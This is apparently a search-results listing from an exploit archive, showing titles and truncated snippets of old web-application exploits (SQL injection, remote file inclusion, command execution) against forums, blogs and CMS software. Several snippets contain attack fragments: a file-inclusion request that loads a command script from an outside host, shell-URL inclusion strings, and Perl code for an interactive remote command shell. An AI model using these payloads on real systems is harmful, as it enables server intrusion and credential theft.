780 matches found
[KAPDA::#47] - Snitz Forum <= 3.4.05 SQL-Injection Vulnerability
KAPDA::47 - Snitz Forum = 3.4.05 SQL-Injection Vulnerability KAPDA New advisory Advisory Number: 47 Vulnerable products : Snitz Forum = 3.4.05 Vendor: http://forum.snitz.com Vulnerability: SQLInjection Date : -------------------- Found : 2006/01/12 Vendor Contacted : 2006/06/03 Release Date :...
Foing-xpl.txt
vendor : phpbbhacks.com Exploit BY :s3rv3rhack3r WWW : http://www.hackerz.ir Exploit / Foing Remote File Include exploit By s3rv3rhack3r / include include include include include include include include define PORT 80 char shellop = "GET /index.php?phpbbrootpath=http://www.hackerz.ir/cmd.txt?cmd=...
[KAPDA::#43] - phpwcms multiple vulnerabilities
Vendor: http://www.phpwcms.de Bugs: Path Disclosure, XSS, Local File Inclusion, Remote Code Execution Vulnerable Version: phpwcms 1.2.5-DEV prior versions also maybe affected Exploitation: Remote with browser Description: -------------------- phpwcms is a web content management system optimized f...
TopList <= 1.3.8 (PHPBB Hack) Remote File Inclusion Vulnerability
IHST - MFox [email protected] - Vendor = TopList PHPBB - Target = list.php - Exploit : http://target/top/list.php?returnpath=shellurl Bug Discovered by MFox Special thanks to all of my friendZ IHST - Iran HackerZ Security Team irc.governmentsecurity.org h4ckerz.com Www.Hackerz.Com -...
toplistInclude.txt
IHST - MFox [email protected] - Vendor = TopList PHPBB - Target = list.php - Exploit : http://target/top/list.php?returnpath=shellurl Bug Discovered by MFox Special thanks to all of my friendZ IHST - Iran HackerZ Security Team irc.governmentsecurity.org h4ckerz.com Www.Hackerz.Com -...
Fenice OMS 1.10 (long get request) Remote Buffer Overflow Exploit
Exploit for linux platform in category remote exploits ================================================================= Fenice OMS 1.10 long get request Remote Buffer Overflow Exploit ================================================================= / IHS Iran Homeland Security public source cod...
Internet PhotoShow (page) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ======================================================= Internet PhotoShow page Remote File Inclusion Exploit ======================================================= !/usr/bin/perl Exploit by Hessam-x www.hessamx.net sub usage print " Usag...
linksubmit <= All version Html Tag Injector in index.php
Vendor : linksubmit Version : All Version www : http://www.phpselect.com AUTHOR : s3rv3rhack3r you can submit html tag's in $description linksubmit.php Exploit : !/usr/bin/perl Exploit by s3rv3rhack3r Special Thanx : hessamx , f0rk ,sattar.li , stanic, mfox,blood moon and.. / | | | / / | |/ // / ...
PHPSelect Submit-A-Link - HTML Injection
source: https://www.securityfocus.com/bid/17348/info Submit-A-Link is prone to an HTML-injection vulnerability. The script fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML and script code would be executed in the context of th...
GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (2)
No description provided by source. !/usr/bin/perl Exploit by Hessam-x www.hessamx.net Special Thanx : Vampire , s3rv3rhack3r / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | \ /| | // / | / \ | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir DeltaHAcking Team website:...
GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (2)
Exploit for unknown platform in category web applications =============================================================== GreyMatter WebLog | \ | / \ / / / / / / Iran Hackerz Security Team DeltaHAcking Team Name : Greymatter Site : http://www.noahgrey.com/greysoft/ example: target :...
GreyMatter WebLog 1.21d - Remote Command Execution (2)
GreyMatter WebLog 1.21d - Remote Command Execution 2 !/usr/bin/perl Exploit by Hessam-x www.hessamx.net Special Thanx : Vampire , s3rv3rhack3r / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir DeltaHAcking Team website:...
GreyMatter WebLog 1.21d - Remote Command Execution (2)
!/usr/bin/perl Exploit by Hessam-x www.hessamx.net Special Thanx : Vampire , s3rv3rhack3r / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir DeltaHAcking Team website: www.deltahacking.com Name : Greymatter Site :...
Light Weight Calendar 1.x - date Remote Code Execution
Light Weight Calendar 1.x - date Remote Code Execution !/usr/bin/perl Light Weight Calendar Exploit by Hessam-x www.hessamx.net / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir Name : Light Weight Calendar version : 1. use...
d2kBlog 1.0.3 - memName SQL Injection
d2kBlog 1.0.3 - memName SQL Injection !/usr/bin/perl -w D2KBLOG SQL injection Discovered by : Farhad Koosha farhadkey at kapda.ir Exploited by : devilbox devilbox at kapda.ir member of : Kapda.ir - Security Science Researchers Institute of Iran persianhacker.net require LWP::UserAgent; require...
phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution
No description provided by source. !/usr/bin/perl root@host perl rpc.pl phprpc.sourceforge.net /modules/phpRPC/server.php --== IHS IRAN HOMELAND SECURITY ==-- phpRPC = 0.7 commands execute exploit by LorD http://www.ihs.ir IRAN HOMELAND SECURITY$ uname -a;id;pwd Linux sc8-pr-web9.sourceforge.net...
phpRPC Library 0.7 - XML Data Decoding Remote Code Execution (1)
phpRPC Library 0.7 - XML Data Decoding Remote Code Execution 1 !/usr/bin/perl root@host perl rpc.pl phprpc.sourceforge.net /modules/phpRPC/server.php --== IHS IRAN HOMELAND SECURITY ==-- phpRPC new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die "connecterror\n"; while 1 print 'IRAN...
phpRPC Library <= 0.7 XML Data Decoding Remote Code Execution
Exploit for unknown platform in category web applications ============================================================= phpRPC Library new Proto = "tcp", PeerAddr = "$host", PeerPort = "80" || die "connecterror\n"; while 1 print 'IRAN HOMELAND SECURITY$ '; $cmd = ; chop$cmd; last if $cmd eq 'exit...
Farsinews 2.5 - Directory Traversal Arbitrary users.db Access
Farsinews 2.5 - Directory Traversal Arbitrary users.db Access !/usr/bin/perl FarsiNews 2.5pro Show User&Passowrd Exploit by Hessam-x www.hessamx.net / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir Description Name :...
Farsinews 2.5 - Directory Traversal Arbitrary 'users.db' Access
!/usr/bin/perl FarsiNews 2.5pro Show User&Passowrd Exploit by Hessam-x www.hessamx.net / | \ | | / \ \ / | |/ // \ \ / \ Y // \ | | \ | / \ / / / / / / Iran Hackerz Security Team WebSite: www.hackerz.ir Description Name : FarsiNews www.farsinewsteam.com version : 2.5Pro in FarsiNews if...